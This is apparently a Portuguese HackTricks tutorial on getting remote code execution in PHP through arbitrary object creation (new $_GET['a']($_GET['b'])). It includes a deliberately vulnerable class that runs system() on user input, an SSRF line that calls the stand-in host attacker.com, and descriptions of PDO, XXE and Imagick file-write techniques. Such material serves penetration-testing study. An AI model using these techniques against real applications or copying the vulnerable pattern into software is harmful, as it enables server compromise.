6.8 KiB
PHP - RCE abusando da criação de objetos: new $_GET["a"]($_GET["b"])
{% hint style="success" %}
Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.
Este é basicamente um resumo de https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/
Introdução
A criação de novos objetos arbitrários, como new $_GET["a"]($_GET["a"])
, pode levar à Execução Remota de Código (RCE), conforme detalhado em um writeup. Este documento destaca várias estratégias para alcançar RCE.
RCE via Classes Personalizadas ou Autoloading
A sintaxe new $a($b)
é usada para instanciar um objeto onde $a
representa o nome da classe e $b
é o primeiro argumento passado para o construtor. Essas variáveis podem ser obtidas de entradas do usuário como GET/POST, onde podem ser strings ou arrays, ou de JSON, onde podem se apresentar como outros tipos.
Considere o trecho de código abaixo:
class App {
function __construct ($cmd) {
system($cmd);
}
}
class App2 {
function App2 ($cmd) {
system($cmd);
}
}
$a = $_GET['a'];
$b = $_GET['b'];
new $a($b);
Neste caso, definir $a
como App
ou App2
e $b
como um comando do sistema (por exemplo, uname -a
) resulta na execução desse comando.
Funções de Autoloading podem ser exploradas se nenhuma dessas classes estiver diretamente acessível. Essas funções carregam automaticamente classes de arquivos quando necessário e são definidas usando spl_autoload_register
ou __autoload
:
spl_autoload_register(function ($class_name) {
include './../classes/' . $class_name . '.php';
});
function __autoload($class_name) {
include $class_name . '.php';
};
spl_autoload_register();
O comportamento do autoloading varia com as versões do PHP, oferecendo diferentes possibilidades de RCE.
RCE via Classes Integradas
Na falta de classes personalizadas ou autoloaders, classes integradas do PHP podem ser suficientes para RCE. O número dessas classes varia entre 100 a 200, com base na versão do PHP e nas extensões. Elas podem ser listadas usando get_declared_classes()
.
Construtores de interesse podem ser identificados através da API de reflexão, como mostrado no seguinte exemplo e no link https://3v4l.org/2JEGF.
RCE via métodos específicos inclui:
SSRF + Deserialização Phar
A classe SplFileObject
permite SSRF através de seu construtor, permitindo conexões a qualquer URL:
new SplFileObject('http://attacker.com/');
SSRF pode levar a ataques de desserialização em versões do PHP anteriores a 8.0 usando o protocolo Phar.
Explorando PDOs
O construtor da classe PDO permite conexões a bancos de dados via strings DSN, potencialmente permitindo a criação de arquivos ou outras interações:
new PDO("sqlite:/tmp/test.txt")
SoapClient/SimpleXMLElement XXE
Versões do PHP até 5.3.22 e 5.4.12 eram suscetíveis a ataques XXE através dos construtores SoapClient
e SimpleXMLElement
, dependendo da versão do libxml2.
RCE via Extensão Imagick
Na análise das dependências de um projeto, foi descoberto que Imagick poderia ser utilizado para execução de comandos ao instanciar novos objetos. Isso apresenta uma oportunidade para explorar vulnerabilidades.
Parser VID
A capacidade do parser VID de escrever conteúdo em qualquer caminho especificado no sistema de arquivos foi identificada. Isso poderia levar à colocação de um shell PHP em um diretório acessível pela web, alcançando Execução Remota de Código (RCE).
Parser VID + Upload de Arquivo
Observa-se que o PHP armazena temporariamente arquivos enviados em /tmp/phpXXXXXX
. O parser VID no Imagick, utilizando o protocolo msl, pode lidar com curingas em caminhos de arquivos, facilitando a transferência do arquivo temporário para um local escolhido. Este método oferece uma abordagem adicional para alcançar a escrita arbitrária de arquivos dentro do sistema de arquivos.
Crash do PHP + Força Bruta
Um método descrito no escrito original envolve o upload de arquivos que provocam uma falha no servidor antes da exclusão. Ao forçar o nome do arquivo temporário, torna-se possível para o Imagick executar código PHP arbitrário. No entanto, essa técnica foi considerada eficaz apenas em uma versão desatualizada do ImageMagick.
Referências
{% hint style="success" %}
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.